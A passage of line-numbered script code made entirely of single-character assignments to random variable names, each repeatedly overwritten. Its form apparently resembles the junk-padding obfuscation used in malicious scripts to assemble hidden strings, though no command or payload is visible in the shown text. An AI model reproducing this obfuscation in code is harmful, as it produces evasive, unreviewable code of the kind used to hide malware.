226	koirvw = "m";
227	koirvw = "w";
228	koirvw = "H";
229	koirvw = "B";
230	koirvw = "C";
231	koirvw = "Y";
232	koirvw = "n";
233	koirvw = "d";
234	koirvw = "B";
235	koirvw = "E";
236	koirvw = "R";
237	koirvw = "Z";
238	koirvw = "f";
239	koirvw = "d";
240	koirvw = "Y";
241	koirvw = "x";
242	koirvw = "x";
243	koirvw = "n";
244	koirvw = "Z";
245	koirvw = "d";
246	koirvw = "u";
247	koirvw = "m";
248	koirvw = "r";
249	koirvw = "r";
250	koirvw = "j";
251	koirvw = "j";
252	koirvw = "p";
253	koirvw = "E";
254	koirvw = "E";
255	koirvw = "V";
256	koirvw = "E";
257	koirvw = "d";
258	koirvw = "&";
259	ybngiqxi = "u";
260	ybngiqxi = "Z";
261	ybngiqxi = "J";
262	ybngiqxi = "G";
263	ybngiqxi = "k";
264	ybngiqxi = "D";
265	ybngiqxi = "j";
266	ybngiqxi = "i";
267	ybngiqxi = "B";
268	ybngiqxi = "H";
269	ybngiqxi = "R";
270	ybngiqxi = "E";
271	ybngiqxi = "p";
272	ybngiqxi = "j";
273	ybngiqxi = "T";
274	ybngiqxi = "E";
275	ybngiqxi = "a";
276	ybngiqxi = "S";
277	ybngiqxi = "u";
278	ybngiqxi = "q";
279	ybngiqxi = "T";
280	ybngiqxi = "0";
281	tewmrihe = "j";
282	tewmrihe = "D";
283	tewmrihe = "d";
284	tewmrihe = "z";
285	tewmrihe = "i";
286	tewmrihe = "m";
287	tewmrihe = "R";
288	tewmrihe = "l";
289	tewmrihe = "K";
290	tewmrihe = "G";
291	tewmrihe = "X";
292	tewmrihe = "d";
293	tewmrihe = "t";
294	tewmrihe = "P";
295	tewmrihe = "u";
296	tewmrihe = "B";
297	tewmrihe = "O";
298	tewmrihe = "y";
299	tewmrihe = "Y";
300	tewmrihe = "b";
301	tewmrihe = "B";
302	tewmrihe = "T";
303	tewmrihe = "r";
304	tewmrihe = "O";
305	tewmrihe = "z";
306	tewmrihe = "D";
307	tewmrihe = "W";
308	tewmrihe = "y";
309	tewmrihe = "w";
310	tewmrihe = "k";
311	tewmrihe = "j";
312	tewmrihe = "M";
313	tewmrihe = "c";
314	tewmrihe = "k";
315	tewmrihe = "i";
316	tewmrihe = "N";
317	tewmrihe = "F";
318	tewmrihe = "W";
319	kkaldfkby = "w";
320	kkaldfkby = "Y";
321	kkaldfkby = "M";
322	kkaldfkby = "D";
323	kkaldfkby = "N";
324	kkaldfkby = "X";
325	kkaldfkby = "b";
326	kkaldfkby = "X";
327	kkaldfkby = "E";
328	kkaldfkby = "j";
329	kkaldfkby = "F";
330	kkaldfkby = "M";
331	kkaldfkby = "q";
332	kkaldfkby = "k";
333	kkaldfkby = "q";
334	kkaldfkby = "f";
335	kkaldfkby = "A";
336	kkaldfkby = "Y";
337	kkaldfkby = "t";
338	kkaldfkby = "j";
339	kkaldfkby = "f";
340	kkaldfkby = "f";
341	kkaldfkby = "X";
342	kkaldfkby = "u";
343	kkaldfkby = "U";
344	kkaldfkby = "G";
345	kkaldfkby = "v";
346	kkaldfkby = "S";
347	wydvs = "m";
348	wydvs = "j";
349	wydvs = "H";
350	wydvs = "b";
351	wydvs = "Z";
352	wydvs = "M";
353	wydvs = "K";
354	wydvs = "N";
355	wydvs = "r";
356	wydvs = "g";
357	wydvs = "u";
358	wydvs = "l";
359	wydvs = "b";
360	wydvs = "t";
361	wydvs = "d";
362	wydvs = "C";
363	wydvs = "k";
364	wydvs = "T";
365	wydvs = "d";
366	wydvs = "p";
367	wydvs = "k";
368	wydvs = "t";
369	wydvs = "U";
370	wydvs = "c";
371	wydvs = "N";
372	wydvs = "i";
373	wydvs = "X";
374	wydvs = "N";
375	wydvs = "y";
376	wydvs = "v";
377	wydvs = "u";
378	wydvs = "i";
379	wydvs = "P";
380	wydvs = "I";
381	wydvs = "S";
382	wydvs = "a";
383	wydvs = "F";
384	wydvs = "N";
385	wydvs = "w";
386	wydvs = "d";
387	wydvs = "r";
388	bilwxur = "b";
389	bilwxur = "k";
390	bilwxur = "i";
391	bilwxur = "O";
392	bilwxur = "d";
393	bilwxur = "K";
394	bilwxur = "B";
395	bilwxur = "q";
396	bilwxur = "H";
397	bilwxur = "Y";
398	bilwxur = "i";
399	bilwxur = "B";
400	bilwxur = "Q";
401	bilwxur = "5";
402	bampqpjq = "W";
403	bampqpjq = "O";
404	bampqpjq = "n";
405	bampqpjq = "N";
406	bampqpjq = "o";
407	bampqpjq = "x";
408	bampqpjq = "v";
409	bampqpjq = "C";
410	bampqpjq = "i";
411	bampqpjq = "w";
412	bampqpjq = "x";
413	bampqpjq = "l";
414	bampqpjq = "j";
415	bampqpjq = "q";
416	bampqpjq = "W";
417	bampqpjq = "P";
418	bampqpjq = "K";
419	bampqpjq = "O";
420	bampqpjq = "E";
421	bampqpjq = "p";
422	bampqpjq = "Z";
423	bampqpjq = "r";
424	bampqpjq = "i";
425	bampqpjq = "T";
426	bampqpjq = "a";
427	bampqpjq = "p";
428	bampqpjq = "o";
429	bampqpjq = "O";
430	bampqpjq = "E";
431	bampqpjq = "t";
432	bampqpjq = "m";
433	bampqpjq = "T";
434	bampqpjq = "M";
435	bampqpjq = "s";
436	bampqpjq = "c";
437	bampqpjq = "M";
438	bampqpjq = "m";
439	bampqpjq = "Q";
440	bampqpjq = "d";
441	ylfbafciq = "L";
442	ylfbafciq = "w";
443	ylfbafciq = "T";
444	ylfbafciq = "I";
445	ylfbafciq = "Y";
446	ylfbafciq = "o";
447	ylfbafciq = "p";
448	ylfbafciq = "E";
449	ylfbafciq = "E";
450	ylfbafciq = "t";
451	ylfbafciq = "G";
452	ylfbafciq = "q";
453	ylfbafciq = "m";
454	ylfbafciq = "E";
455	ylfbafciq = "g";
456	ylfbafciq = "F";
457	tsgrosqf = "f";
458	tsgrosqf = "m";
459	tsgrosqf = "m";
460	tsgrosqf = "v";
461	tsgrosqf = "k";
462	tsgrosqf = "i";
463	tsgrosqf = "L";
464	tsgrosqf = "A";
465	tsgrosqf = "b";
466	tsgrosqf = "F";
467	tsgrosqf = "n";
468	tsgrosqf = "O";
469	tsgrosqf = "i";
470	tsgrosqf = "a";
471	tsgrosqf = "I";
472	tsgrosqf = "e";
473	tsgrosqf = "k";
474	tsgrosqf = "B";
475	tsgrosqf = "X";
476	tsgrosqf = "z";
477	tsgrosqf = "m";
478	tsgrosqf = "C";
479	tsgrosqf = "O";
480	tsgrosqf = "f";
481	tsgrosqf = "D";
482	tsgrosqf = "U";
483	tsgrosqf = "r";
484	tsgrosqf = "S";
485	tsgrosqf = "K";
486	tsgrosqf = "E";
487	tsgrosqf = "x";
488	tsgrosqf = "f";
489	tsgrosqf = ".";
490	asjixr = "G";
491	asjixr = "c";
492	asjixr = "t";
493	asjixr = "j";
494	asjixr = "N";
495	asjixr = "K";
496	asjixr = "Q";
497	asjixr = "h";
498	asjixr = "a";
499	asjixr = "w";
500	asjixr = "w";
501	asjixr = "W";
502	asjixr = "i";
503	asjixr = "j";
504	uesqpgj = "m";
505	uesqpgj = "R";
506	uesqpgj = "z";
507	uesqpgj = "y";
508	uesqpgj = "c";
509	uesqpgj = "D";
510	uesqpgj = "p";
511	uesqpgj = "N";
512	uesqpgj = "b";
513	uesqpgj = "o";
514	uesqpgj = "Z";
515	uesqpgj = "J";
516	uesqpgj = "k";
517	uesqpgj = "h";
518	uesqpgj = "N";
519	uesqpgj = "R";
520	uesqpgj = "E";
521	uesqpgj = "r";
522	uesqpgj = "e";
523	uesqpgj = "Q";
524	uesqpgj = "V";
525	uesqpgj = "q";
526	uesqpgj = "c";
527	uesqpgj = "i";
528	uesqpgj = "a";
529	uesqpgj = "i";
530	uesqpgj = "G";
531	uesqpgj = "P";
532	uesqpgj = "e";
533	uesqpgj = "n";
534	uesqpgj = "J";
535	uesqpgj = "J";
536	uesqpgj = "B";
537	uesqpgj = "T";
538	uesqpgj = "u";
539	uesqpgj = "F";
540	uesqpgj = "T";
541	uesqpgj = "u";
542	uesqpgj = "T";
543	uesqpgj = "b";
544	uesqpgj = "Y";
545	uesqpgj = "K";
546	uesqpgj = "e";
547	uesqpgj = "X";
548	uesqpgj = "O";
549	tsmtowpoi = "w";
550	tsmtowpoi = "I";
551	tsmtowpoi = "K";
552	tsmtowpoi = "c";
553	tsmtowpoi = "V";
554	tsmtowpoi = "e";
555	tsmtowpoi = "J";
556	tsmtowpoi = "O";
557	tsmtowpoi = "L";
558	tsmtowpoi = "c";
559	tsmtowpoi = "E";
560	tsmtowpoi = "n";
561	tsmtowpoi = "n";
562	tsmtowpoi = "x";
563	tsmtowpoi = "J";
564	tsmtowpoi = "N";
565	tsmtowpoi = "m";
566	tsmtowpoi = "X";
567	tsmtowpoi = "k";
568	tsmtowpoi = "t";
569	tsmtowpoi = "B";
570	tsmtowpoi = "g";
571	tsmtowpoi = "g";
572	tsmtowpoi = "h";
573	tsmtowpoi = "w";
574	tsmtowpoi = "f";
575	tsmtowpoi = "T";
576	tsmtowpoi = "m";
577	tsmtowpoi = "D";
578	tsmtowpoi = "M";
579	tsmtowpoi = "u";
580	tsmtowpoi = "t";
581	tsmtowpoi = "C";
582	wpfvaez = "D";
583	wpfvaez = "y";
584	wpfvaez = "J";
585	wpfvaez = "X";
586	wpfvaez = "l";
587	wpfvaez = "n";
588	wpfvaez = "h";
589	wpfvaez = "K";
590	wpfvaez = "i";
591	wpfvaez = "f";
592	wpfvaez = "E";
593	wpfvaez = "K";
594	wpfvaez = "g";
595	wpfvaez = "G";
596	wpfvaez = "C";
597	wpfvaez = "T";
598	wpfvaez = "q";
599	wpfvaez = "p";
600	wpfvaez = "t";
601	wpfvaez = "N";
602	wpfvaez = "b";
603	wpfvaez = "V";
604	wpfvaez = "w";
605	wpfvaez = "w";
606	wpfvaez = "N";
607	wpfvaez = "d";
608	wpfvaez = ":";
609	hzmsjhqn = "F";
610	hzmsjhqn = "c";
611	hzmsjhqn = "t";
612	hzmsjhqn = "p";
613	hzmsjhqn = "C";
614	hzmsjhqn = "G";
615	hzmsjhqn = "X";
616	hzmsjhqn = "e";
617	hzmsjhqn = "X";
618	hzmsjhqn = "e";
619	hzmsjhqn = "b";
620	hzmsjhqn = "A";
621	hzmsjhqn = "R";
622	hzmsjhqn = "m";
623	hzmsjhqn = "l";
624	hzmsjhqn = "D";
625	hzmsjhqn = "l";
626	hzmsjhqn = "j";
627	hzmsjhqn = "o";
628	hzmsjhqn = "L";
629	hzmsjhqn = "B";
630	hzmsjhqn = "v";
631	hzmsjhqn = "w";
632	hzmsjhqn = "u";
633	hzmsjhqn = "j";
634	hzmsjhqn = "z";
635	hzmsjhqn = "v";
636	hzmsjhqn = "d";
637	hzmsjhqn = "n";
638	hzmsjhqn = "S";
639	hzmsjhqn = "B";
640	hzmsjhqn = "Y";
641	hzmsjhqn = "Z";
642	hzmsjhqn = "O";
643	hzmsjhqn = "r";
644	hzmsjhqn = "f";
645	hhsnr = "U";
646	hhsnr = "B";
647	hhsnr = "R";
648	hhsnr = "O";
649	hhsnr = "w";
650	hhsnr = "T";
651	hhsnr = "m";
652	hhsnr = "L";
653	hhsnr = "S";
654	hhsnr = "e";
655	hhsnr = "k";
656	hhsnr = "A";
657	hhsnr = "R";
658	hhsnr = "m";
659	hhsnr = "b";
660	hhsnr = "u";
661	hhsnr = "q";
662	hhsnr = "v";
663	hhsnr = "O";
664	hhsnr = "k";
665	hhsnr = "L";
666	whzvc = "h";
667	whzvc = "a";
668	whzvc = "a";
669	whzvc = "y";
670	whzvc = "p";
671	whzvc = "u";
672	whzvc = "B";
673	whzvc = "O";
674	whzvc = "L";
675	whzvc = "k";
676	whzvc = "l";
677	whzvc = "q";
678	whzvc = "\\";
679	jcgjeko = "e";
680	jcgjeko = "R";
681	jcgjeko = "I";
682	jcgjeko = "e";
683	jcgjeko = "l";
684	jcgjeko = "M";
685	jcgjeko = "h";
686	jcgjeko = "E";
687	jcgjeko = "J";
688	jcgjeko = "l";
689	jcgjeko = "z";
690	jcgjeko = "O";
691	jcgjeko = "c";
692	jcgjeko = "v";
693	jcgjeko = "F";
694	jcgjeko = "V";
695	jcgjeko = "j";
696	jcgjeko = "R";
697	jcgjeko = "u";
698	jcgjeko = "T";
699	jcgjeko = "Q";
700	jcgjeko = "w";
701	jcgjeko = "b";
702	jcgjeko = "H";
703	jcgjeko = "Q";
704	jcgjeko = "N";
705	jcgjeko = "W";
706	jcgjeko = "k";
707	jcgjeko = "s";
708	jcgjeko = "W";
709	jcgjeko = "i";
710	jcgjeko = "q";
711	jcgjeko = "C";
712	jcgjeko = "K";
713	jcgjeko = "z";
714	jcgjeko = "y";
715	jcgjeko = "1";
716	rqtrzhbjq = "Y";
717	rqtrzhbjq = "a";
718	rqtrzhbjq = "N";
719	rqtrzhbjq = "l";
720	rqtrzhbjq = "N";
721	rqtrzhbjq = "q";
722	rqtrzhbjq = "V";
723	rqtrzhbjq = "m";
724	rqtrzhbjq = "p";
725	rqtrzhbjq = "o";
726	rqtrzhbjq = "I";
727	ojwyz = "T";
728	ojwyz = "Z";
729	ojwyz = "Z";
730	ojwyz = "d";
731	ojwyz = "V";
732	ojwyz = "s";
733	ojwyz = "e";
734	ojwyz = "v";
735	ojwyz = "S";
736	ojwyz = "S";
737	ojwyz = "C";
738	ojwyz = "a";
739	ojwyz = "G";
740	ojwyz = "J";
741	ojwyz = "P";
742	ojwyz = "X";
743	ojwyz = "l";
744	ojwyz = "y";
745	ojwyz = "y";
746	ojwyz = "n";
747	ojwyz = "g";
748	ojwyz = "B";
749	ojwyz = "K";
750	ojwyz = "N";
751	ojwyz = "l";
752	ojwyz = "o";
753	ojwyz = "k";
754	ojwyz = "R";
755	ojwyz = "k";
756	ojwyz = "d";
757	ojwyz = "C";
758	ojwyz = "s";
759	ycsfmrjba = "D";
760	ycsfmrjba = "S";
761	ycsfmrjba = "W";
762	ycsfmrjba = "x";
763	ycsfmrjba = "B";
764	ycsfmrjba = "k";
765	ycsfmrjba = "G";
766	ycsfmrjba = "i";
767	ycsfmrjba = "j";
768	ycsfmrjba = "W";
769	ycsfmrjba = "t";
770	ycsfmrjba = "P";
771	ycsfmrjba = "s";
772	ycsfmrjba = "M";
773	ycsfmrjba = "r";
774	ycsfmrjba = "R";
775	ycsfmrjba = "Z";
776	ycsfmrjba = "d";
777	ycsfmrjba = "P";
778	ycsfmrjba = "e";
779	ycsfmrjba = "g";
780	ycsfmrjba = "C";
781	ycsfmrjba = "F";
782	ycsfmrjba = "y";
783	ycsfmrjba = "a";
784	ycsfmrjba = "l";
785	ycsfmrjba = "o";
786	ycsfmrjba = "v";
787	ycsfmrjba = "M";
788	ycsfmrjba = "V";
789	ycsfmrjba = "q";
790	ycsfmrjba = "6";
791	vpptck = "F";
792	vpptck = "h";
793	vpptck = "S";
794	vpptck = "h";
795	vpptck = "c";
796	vpptck = "H";
797	vpptck = "N";
798	vpptck = "Y";
799	vpptck = "q";
800	vpptck = "T";
801	vpptck = "F";
802	vpptck = "A";
803	vpptck = "E";
804	vpptck = "f";
805	vpptck = "T";
806	vpptck = "a";
807	vpptck = "Q";
808	vpptck = "N";
809	vpptck = "M";
810	vpptck = "J";
811	vpptck = "i";
812	vpptck = "m";
813	vpptck = "w";
814	klwivev = "b";
815	klwivev = "y";
816	klwivev = "l";
817	klwivev = "k";
818	klwivev = "M";
819	klwivev = "l";
820	klwivev = "S";
821	klwivev = "Q";
822	klwivev = "d";
823	klwivev = "X";
824	klwivev = "S";
825	klwivev = "Q";
826	klwivev = "P";
827	klwivev = "b";
828	klwivev = "X";
829	klwivev = "e";
830	klwivev = "I";
831	klwivev = "w";
832	klwivev = "B";
833	klwivev = "P";
834	klwivev = "R";
835	klwivev = "l";
836	klwivev = "L";
837	klwivev = "x";
838	vvhhruwyp = "I";
839	vvhhruwyp = "P";
840	vvhhruwyp = "S";
841	vvhhruwyp = "e";
842	vvhhruwyp = "v";
843	vvhhruwyp = "d";
844	vvhhruwyp = "o";
845	vvhhruwyp = "p";
846	vvhhruwyp = "B";
847	vvhhruwyp = "u";
848	vvhhruwyp = "e";
849	vvhhruwyp = "k";
850	vvhhruwyp = "B";
851	vvhhruwyp = "f";
852	vvhhruwyp = "d";
853	vvhhruwyp = "i";
854	vvhhruwyp = "U";
855	vvhhruwyp = "O";
856	vvhhruwyp = "w";
857	vvhhruwyp = "h";
858	vvhhruwyp = "K";
859	vvhhruwyp = "Y";
860	vvhhruwyp = "Z";
861	vvhhruwyp = "H";
862	vvhhruwyp = "w";
863	vvhhruwyp = "w";
864	vvhhruwyp = "n";
865	vvhhruwyp = "B";
866	vvhhruwyp = "J";
867	vvhhruwyp = "c";
868	vvhhruwyp = "O";
869	vvhhruwyp = "n";
870	vvhhruwyp = "E";
871	vvhhruwyp = "W";
872	vvhhruwyp = "K";
873	vvhhruwyp = "X";
874	vvhhruwyp = "m";
875	vvhhruwyp = "R";
876	vvhhruwyp = "g";
877	yojrzm = "s";
878	yojrzm = "K";
879	yojrzm = "e";
880	yojrzm = "a";
881	yojrzm = "t";
882	yojrzm = "r";
883	yojrzm = "c";
884	yojrzm = "E";
885	yojrzm = "X";
886	yojrzm = "v";
887	yojrzm = "G";
888	yojrzm = "R";
889	yojrzm = "H";
890	yojrzm = "X";
891	yojrzm = "p";
892	yojrzm = "L";
893	yojrzm = "k";
894	yojrzm = "b";
895	yojrzm = "w";
896	yojrzm = "O";
897	yojrzm = "j";
898	yojrzm = "P";
899	ssldfa = "m";
900	ssldfa = "W";
901	ssldfa = "M";
902	ssldfa = "X";
903	ssldfa = "i";
904	ssldfa = "e";
905	ssldfa = "b";
906	ssldfa = "c";
907	ssldfa = "w";
908	ssldfa = "x";
909	ssldfa = "d";
910	ssldfa = "m";
911	ssldfa = "b";
912	ssldfa = "z";
913	ssldfa = "O";
914	ssldfa = "c";
915	ssldfa = "V";
916	ssldfa = "m";
917	ssldfa = "z";
918	ssldfa = "z";
919	ssldfa = "k";
920	ssldfa = "S";
921	ssldfa = "d";
922	ssldfa = "F";
923	ssldfa = "J";
924	ssldfa = "K";
925	ssldfa = "y";
926	ssldfa = "v";
927	ssldfa = "q";
928	ssldfa = "c";
929	ulldn = "C";
930	ulldn = "l";
931	ulldn = "K";
932	ulldn = "q";
933	ulldn = "m";
934	pcptgrvht = "X";
935	pcptgrvht = "y";
936	pcptgrvht = "J";
937	pcptgrvht = "r";
938	pcptgrvht = "B";
939	pcptgrvht = "Z";
940	pcptgrvht = "F";
941	pcptgrvht = "v";
942	pcptgrvht = "R";
943	pcptgrvht = "Y";
944	pcptgrvht = "h";
945	pcptgrvht = "k";
946	pcptgrvht = "K";
947	pcptgrvht = "C";
948	pcptgrvht = "q";
949	pcptgrvht = "L";
950	pcptgrvht = "D";
951	pcptgrvht = "v";
952	pcptgrvht = "V";
953	pcptgrvht = "3";
954	klfaloqp = "x";
955	klfaloqp = "X";
956	klfaloqp = "j";
957	klfaloqp = "a";
958	klfaloqp = "N";
959	klfaloqp = "w";
960	klfaloqp = "p";
961	klfaloqp = "q";
962	klfaloqp = "f";
963	klfaloqp = "D";
964	klfaloqp = "n";
965	klfaloqp = "K";
966	klfaloqp = "A";
967	klfaloqp = "s";
968	klfaloqp = "c";
969	klfaloqp = "W";
970	klfaloqp = "Z";
971	klfaloqp = "S";
972	klfaloqp = "n";
973	klfaloqp = "b";
974	klfaloqp = "w";
975	klfaloqp = "E";
976	klfaloqp = "j";
977	klfaloqp = "G";
978	klfaloqp = "m";
979	klfaloqp = "%";
980	qjbqpk = "x";
981	qjbqpk = "f";
982	qjbqpk = "v";
983	qjbqpk = "v";
984	qjbqpk = "H";
985	qjbqpk = "n";
986	qjbqpk = "S";
987	qjbqpk = "D";
988	qjbqpk = "G";
989	qjbqpk = "x";
990	qjbqpk = "u";
991	qjbqpk = "T";
992	qjbqpk = "i";
993	qjbqpk = "x";
994	qjbqpk = "a";
995	qjbqpk = "O";
996	qjbqpk = "f";
997	qjbqpk = " ";
998	trureod = "J";
999	trureod = "q";
1000	trureod = "n";
1001	trureod = "t";
1002	trureod = "f";
1003	trureod = "E";
1004	trureod = "A";
1005	trureod = "r";
1006	trureod = "L";
1007	trureod = "T";
1008	trureod = "M";
1009	trureod = "n";
1010	trureod = "V";
1011	trureod = "U";
1012	trureod = "R";
1013	trureod = "s";
1014	trureod = "L";
1015	trureod = "K";
1016	trureod = "K";
1017	trureod = "Y";
1018	trureod = "Q";
1019	trureod = "M";
1020	trureod = "d";
1021	trureod = "p";
1022	trureod = "z";
1023	trureod = "y";
1024	trureod = "u";
1025	trureod = "A";
1026	trureod = "2";
1027	yiswwrhtr = "y";
1028	yiswwrhtr = "r";
1029	yiswwrhtr = "u";
1030	yiswwrhtr = "L";
1031	yiswwrhtr = "u";
1032	yiswwrhtr = "v";
1033	yiswwrhtr = "F";
1034	yiswwrhtr = "K";
1035	yiswwrhtr = "A";
1036	yiswwrhtr = "J";
1037	yiswwrhtr = "i";
1038	yiswwrhtr = "T";
1039	yiswwrhtr = "o";
1040	yiswwrhtr = "U";
1041	yiswwrhtr = "M";
1042	yiswwrhtr = "d";
1043	yiswwrhtr = "i";
1044	yiswwrhtr = "N";
1045	yiswwrhtr = "m";
1046	yiswwrhtr = "D";
1047	yiswwrhtr = "J";
1048	yiswwrhtr = "k";
1049	yiswwrhtr = "k";
1050	yiswwrhtr = "n";
1051	yiswwrhtr = "S";
1052	yiswwrhtr = "q";
1053	yiswwrhtr = "d";
1054	yiswwrhtr = "u";
1055	yiswwrhtr = "N";
1056	nhqsidm = "g";
1057	nhqsidm = "p";
1058	nhqsidm = "d";
1059	nhqsidm = "u";
1060	nhqsidm = "B";
1061	nhqsidm = "c";
1062	nhqsidm = "J";
1063	nhqsidm = "X";
1064	nhqsidm = "e";
1065	nhqsidm = "Q";
1066	nhqsidm = "r";
1067	nhqsidm = "w";
1068	nhqsidm = "x";
1069	nhqsidm = "s";
1070	nhqsidm = "G";
1071	nhqsidm = "f";
1072	nhqsidm = "y";
1073	nhqsidm = "k";
1074	nhqsidm = "P";
1075	nhqsidm = "g";
1076	nhqsidm = "K";
1077	nhqsidm = "d";
1078	nhqsidm = "m";
1079	nhqsidm = "S";
1080	nhqsidm = "O";
1081	nhqsidm = "t";
1082	nhqsidm = "Y";
1083	nhqsidm = "i";
1084	nhqsidm = "Q";
1085	nhqsidm = "w";
1086	nhqsidm = "P";
1087	nhqsidm = "b";
1088	nhqsidm = "W";
1089	nhqsidm = "P";
1090	nhqsidm = "G";
1091	nhqsidm = "x";
1092	nhqsidm = "M";
1093	nhqsidm = "H";
1094	nhqsidm = "I";
1095	nhqsidm = "g";
1096	nhqsidm = "g";
1097	nhqsidm = "S";
1098	nhqsidm = "x";
1099	nhqsidm = "j";
1100	nhqsidm = "4";
1101	doqlpsypm = "I";
1102	doqlpsypm = "N";
1103	doqlpsypm = "g";
1104	doqlpsypm = "g";
1105	doqlpsypm = "w";
1106	doqlpsypm = "I";
1107	doqlpsypm = "m";
1108	doqlpsypm = "M";
1109	doqlpsypm = "a";
1110	doqlpsypm = "k";
1111	doqlpsypm = "o";
1112	doqlpsypm = "g";
1113	doqlpsypm = "J";
1114	doqlpsypm = "D";
1115	doqlpsypm = "T";
1116	doqlpsypm = "k";
1117	doqlpsypm = "b";
1118	doqlpsypm = "r";
1119	doqlpsypm = "I";
1120	doqlpsypm = "x";
1121	doqlpsypm = "r";
1122	doqlpsypm = "U";
1123	doqlpsypm = "P";
1124	doqlpsypm = "A";
1125	doqlpsypm = "R";
1126	cbszf = "w";
1127	cbszf = "l";
1128	cbszf = "I";
1129	cbszf = "d";
1130	cbszf = "v";
1131	cbszf = "Z";
1132	cbszf = "a";
1133	cbszf = "Q";
1134	cbszf = "B";
1135	cbszf = "V";
1136	cbszf = "L";
1137	cbszf = "\"";
1138	mnedrxy = "O";
1139	mnedrxy = "l";
1140	mnedrxy = "s";
1141	mnedrxy = "T";
1142	mnedrxy = "i";
1143	mnedrxy = "j";
1144	mnedrxy = "k";
1145	mnedrxy = "P";
1146	mnedrxy = "Q";
1147	mnedrxy = "Q";
1148	mnedrxy = "N";
1149	mnedrxy = "N";
1150	mnedrxy = "z";
1151	mnedrxy = "g";
1152	mnedrxy = "l";
1153	mnedrxy = "s";
1154	mnedrxy = "d";
1155	mnedrxy = "W";
1156	mnedrxy = "w";
1157	mnedrxy = "P";
1158	mnedrxy = "K";
1159	mnedrxy = "i";
1160	mnedrxy = "h";
1161	zihqqx = "y";
1162	zihqqx = "S";
1163	zihqqx = "n";
1164	zihqqx = "z";
1165	zihqqx = "x";
1166	zihqqx = "O";
1167	zihqqx = "C";
1168	zihqqx = "e";
1169	zihqqx = "i";
1170	zihqqx = "h";
1171	zihqqx = "N";
1172	zihqqx = "h";
1173	zihqqx = "F";
1174	zihqqx = "O";
1175	zihqqx = "m";
1176	zihqqx = "Q";
1177	zihqqx = "W";
1178	zihqqx = "X";
1179	zihqqx = "i";
1180	vbixqtv = "f";
1181	vbixqtv = "E";
1182	vbixqtv = "p";
1183	vbixqtv = "f";
1184	vbixqtv = "R";
1185	vbixqtv = "n";
1186	vbixqtv = "d";
1187	vbixqtv = "C";
1188	vbixqtv = "q";
1189	vbixqtv = "E";
1190	vbixqtv = "D";
1191	vbixqtv = "o";
1192	vbixqtv = "H";
1193	vbixqtv = "N";
1194	vbixqtv = "W";
1195	vbixqtv = "P";
1196	vbixqtv = "k";
1197	vbixqtv = "f";
1198	vbixqtv = "g";
1199	vbixqtv = "k";
1200	vbixqtv = "l";
1201	vbixqtv = "D";
1202	vbixqtv = "z";
1203	vbixqtv = "c";
1204	vbixqtv = "i";
1205	vbixqtv = "H";
1206	vbixqtv = "p";
1207	vbixqtv = "J";
1208	vbixqtv = "z";
1209	vbixqtv = "e";
1210	vbixqtv = "U";
1211	vbixqtv = "R";
1212	vbixqtv = "r";
1213	vbixqtv = "Y";
1214	vbixqtv = "y";
1215	vbixqtv = "U";
1216	vbixqtv = "G";
1217	vbixqtv = "F";
1218	vbixqtv = "C";
1219	vbixqtv = "N";
1220	vbixqtv = "n";
1221	pcxibr = "c";
1222	pcxibr = "q";
1223	pcxibr = "H";
1224	pcxibr = "H";
1225	gwecv = "I";
1226	gwecv = "q";
1227	gwecv = "t";
1228	gwecv = "Z";
1229	gwecv = "z";
1230	gwecv = "a";
1231	gwecv = "I";
1232	gwecv = "h";
1233	gwecv = "A";
1234	gwecv = "U";
1235	gwecv = "w";
1236	gwecv = "u";
1237	gwecv = "L";
1238	gwecv = "Y";
1239	mnggxf = "N";
1240	mnggxf = "u";
1241	mnggxf = "O";
1242	mnggxf = "q";
1243	mnggxf = "l";
1244	dlfvd = "r";
1245	dlfvd = "e";
1246	dlfvd = "i";
1247	dlfvd = "I";
1248	dlfvd = "A";
1249	dlfvd = "l";
1250	dlfvd = "g";
1251	dlfvd = "Y";
1252	dlfvd = "l";
1253	dlfvd = "i";
1254	dlfvd = "Y";
1255	dlfvd = "Y";
1256	dlfvd = "m";
1257	dlfvd = "v";
1258	dlfvd = "V";
1259	dlfvd = "D";
1260	dlfvd = "N";
1261	dlfvd = "V";
1262	dlfvd = "I";
1263	dlfvd = "u";
1264	dlfvd = "y";
1265	dlfvd = "d";
1266	dlfvd = "D";
1267	dlfvd = "e";
1268	dlfvd = "Q";
1269	dlfvd = "e";
1270	dlfvd = "g";
1271	dlfvd = "y";
1272	dlfvd = "I";
1273	dlfvd = "O";
1274	dlfvd = "M";
1275	dlfvd = "d";
1276	dlfvd = "Q";
1277	dlfvd = "E";
1278	dlfvd = "l";
1279	dlfvd = "I";
1280	dlfvd = "k";
1281	dlfvd = "K";
1282	dlfvd = "v";
1283	hymwwgkwp = "o";
1284	hymwwgkwp = "E";
1285	hymwwgkwp = "u";
1286	hymwwgkwp = "P";
1287	hymwwgkwp = "e";
1288	hymwwgkwp = "C";
1289	hymwwgkwp = "c";
1290	hymwwgkwp = "f";
1291	hymwwgkwp = "s";
1292	hymwwgkwp = "a";
1293	hymwwgkwp = "G";
1294	hymwwgkwp = "E";
1295	xrmwwdf = "b";
1296	bvnpmqvc = "S";
1297	bvnpmqvc = "D";
1298	bvnpmqvc = "p";
1299	bvnpmqvc = "I";
1300	bvnpmqvc = "e";
1301	bvnpmqvc = "h";
1302	bvnpmqvc = "H";
1303	bvnpmqvc = "W";
1304	bvnpmqvc = "T";
1305	bvnpmqvc = "H";
1306	bvnpmqvc = "W";
1307	bvnpmqvc = "p";
1308	bvnpmqvc = "I";
1309	bvnpmqvc = "R";
1310	bvnpmqvc = "h";
1311	bvnpmqvc = "R";
1312	bvnpmqvc = "N";
1313	bvnpmqvc = "e";
1314	bvnpmqvc = "o";
1315	bvnpmqvc = "w";
1316	bvnpmqvc = "i";
1317	bvnpmqvc = "n";
1318	bvnpmqvc = "s";
1319	bvnpmqvc = "C";
1320	bvnpmqvc = "K";
1321	pklkcygdg = "B";
1322	pklkcygdg = "W";
1323	pklkcygdg = "g";
1324	pklkcygdg = "j";
1325	pklkcygdg = "H";
1326	pklkcygdg = "r";
1327	pklkcygdg = "T";
1328	pklkcygdg = "R";
1329	pklkcygdg = "p";
1330	pklkcygdg = "O";
1331	pklkcygdg = "F";
1332	pklkcygdg = "w";
1333	pklkcygdg = "e";
1334	pklkcygdg = "T";
1335	pklkcygdg = "U";
1336	pklkcygdg = "u";
1337	pklkcygdg = "m";
1338	pklkcygdg = "C";
1339	pklkcygdg = "f";
1340	pklkcygdg = "K";
1341	pklkcygdg = "R";
1342	pklkcygdg = "F";
1343	pklkcygdg = "z";
1344	pklkcygdg = "A";
1345	pklkcygdg = "E";
1346	pklkcygdg = "I";
1347	pklkcygdg = "H";
1348	pklkcygdg = "H";
